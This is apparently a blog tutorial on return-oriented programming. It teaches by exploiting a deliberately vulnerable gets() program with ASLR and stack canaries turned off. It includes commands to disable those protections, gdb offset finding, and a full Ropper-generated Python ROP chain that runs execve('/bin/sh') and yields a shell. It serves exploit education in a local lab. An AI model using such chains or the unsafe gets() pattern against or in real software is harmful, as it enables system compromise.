Return oriented programming

NX bit

Modern operating systems make use of the NX bit to mark memory pages as non executable. The CPU will not run instructions on those pages.

What this means is, if we write a payload into the memory and it’s on such non executable memory region (such as the stack), the program will crash. What we need to do is build our payload using instructions that already exist in the binary.

Prerequisites

You will need to at the very least be familiar with some form of assembly and be capable of writing basic stack buffer overflow exploits.

What is return oriented programming

Also known as ROP, we search the binary for the instructions we need (gadgets) to build our payload. The “return” part of the name is because we want to find instructions that are followed by a return statement. This allows us to build a calls by placing pointers in the correct order on the stack.

We first overwrite the current return address with the first gadget, and due to the fact that all the gadgets are followed by a return instruction, after each one it will continuously grab the next gadget from the stack.

If all works well, we will manage to run our payload without ever writing any shellcode into the application. Of course, the bigger the binary and the smaller the payload, the better our chances are.

Return to libc

A simpler variant of this technique involves a function in the program that we can use, such as system() from libc. We could place the address of such a function and then its arguments on the stack, effectively creating a fake call to it. To protect against this, system libraries are often loaded at addresses that will contain null bytes, making any attack based on unsafe string functions fail.

Setup

For the demonstration I will be running the vulnerable software on Kali Linux 2020.3. We will need to disable ASLR and compile without a stack canary.

1void a() {
2    char buffer[32];
3    gets(buffer);
4}
5
6int main(void) {
7    a();
8    return 0;
9}

To disable the protections:

1sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
2gcc main.c -o main -fno-stack-protector -m32 -fno-pie -static

We won’t be looking for gadgets manually, we will use Ropper. Installation instructions are available on their page.

Finding EIP

First, I just want to find how much data I need to overwrite EIP. I will create a pattern with msf-pattern_create -l 256. I will run the program with gdb and find what value EIP contains when it crashes:

 1(gdb) run
 2Starting program: /home/kali/Desktop/main 
 3Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
 4
 5Program received signal SIGSEGV, Segmentation fault.
 60x35624134 in ?? ()
 7(gdb) info registers
 8eax            0xffffd200          -11776
 9ecx            0xf7fb0580          -134544000
10edx            0xfbad2288          -72539512
11ebx            0x41326241          1093820993
12esp            0xffffd230          0xffffd230
13ebp            0x62413362          0x62413362
14esi            0xf7fb0000          -134545408
15edi            0xf7fb0000          -134545408
16eip            0x35624134          0x35624134
17eflags         0x10286             [ PF SF IF RF ]
18cs             0x23                35
19ss             0x2b                43
20ds             0x2b                43
21es             0x2b                43
22fs             0x0                 0
23gs             0x63                99
24
25kali@kali:~/Desktop$ msf-pattern_offset -q 0x35624134
26[*] Exact match at offset 44

So EIP is overwritten at offset 44.

Finding gadgets

Now for the fun part, we will be using a tool called Ropper to automatically find gadgets we need.

I will ask it to search for gadgets that will let me run /bin/sh while avoiding some characters.

1./Ropper.py --file ../main --chain "execve cmd=/bin/sh" -b 000d0a

After it’s done, it will have generated some code and we just need to add enough bytes to reach EIP.

 1#!/usr/bin/env python
 2# Generated by ropper ropchain generator #
 3from struct import pack
 4
 5p = lambda x : pack('I', x)
 6
 7IMAGE_BASE_0 = 0x08048000 # fd6e9b866fdcdec3b6a19d1af77ffabdaeaa24b961aaa865a06ec15b866ffaa6
 8rebase_0 = lambda x : p(x + IMAGE_BASE_0)
 9
10rop = ''
11rop = "A" * 44
12rop += rebase_0(0x000016e3) # 0x080496e3: pop edi; ret; 
13rop += '//bi'
14rop += rebase_0(0x0000101e) # 0x0804901e: pop ebx; ret; 
15rop += rebase_0(0x0009b060)
16rop += rebase_0(0x0003f11d) # 0x0808711d: mov dword ptr [ebx], edi; pop ebx; pop esi; pop edi; ret; 
17rop += p(0xdeadbeef)
18rop += p(0xdeadbeef)
19rop += p(0xdeadbeef)
20rop += rebase_0(0x000016e3) # 0x080496e3: pop edi; ret; 
21rop += 'n/sh'
22rop += rebase_0(0x0000101e) # 0x0804901e: pop ebx; ret; 
23rop += rebase_0(0x0009b064)
24rop += rebase_0(0x0003f11d) # 0x0808711d: mov dword ptr [ebx], edi; pop ebx; pop esi; pop edi; ret; 
25rop += p(0xdeadbeef)
26rop += p(0xdeadbeef)
27rop += p(0xdeadbeef)
28rop += rebase_0(0x00007980) # 0x0804f980: xor eax, eax; ret; 
29rop += rebase_0(0x000170fe) # 0x0805f0fe: pop edx; pop ebx; pop esi; ret; 
30rop += rebase_0(0x0009b068)
31rop += p(0xdeadbeef)
32rop += p(0xdeadbeef)
33rop += rebase_0(0x00010aba) # 0x08058aba: mov dword ptr [edx], eax; ret; 
34rop += rebase_0(0x0000101e) # 0x0804901e: pop ebx; ret; 
35rop += rebase_0(0x0009b060)
36rop += rebase_0(0x000152e1) # 0x0805d2e1: pop ecx; add al, 0xf6; ret; 
37rop += rebase_0(0x0009b068)
38rop += rebase_0(0x00049325) # 0x08091325: pop edx; xor eax, eax; pop edi; ret; 
39rop += rebase_0(0x0009b068)
40rop += p(0xdeadbeef)
41rop += rebase_0(0x00007980) # 0x0804f980: xor eax, eax; ret; 
42rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
43rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
44rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
45rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
46rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
47rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
48rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
49rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
50rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
51rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
52rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
53rop += rebase_0(0x000025a2) # 0x0804a5a2: int 0x80; 
54print rop

If you look at the instructions closely, you will see it calls the execve system call. It places “/bin/sh” on the stack, increments EAX up to 11 (execve system call number) and executes an interrupt. Isn’t it cool?

Now we can run the exploit:

1kali@kali:~/Desktop$ (python exploit.py; cat) | ./main
2id
3uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),131(scanner)

It worked!

If you are wondering about (python exploit.py; cat), it’s so the pipe doesn’t close and we can access our shell.

Hope the article was enjoyable and have fun!

Built with Hugo
Theme Stack designed by Jimmy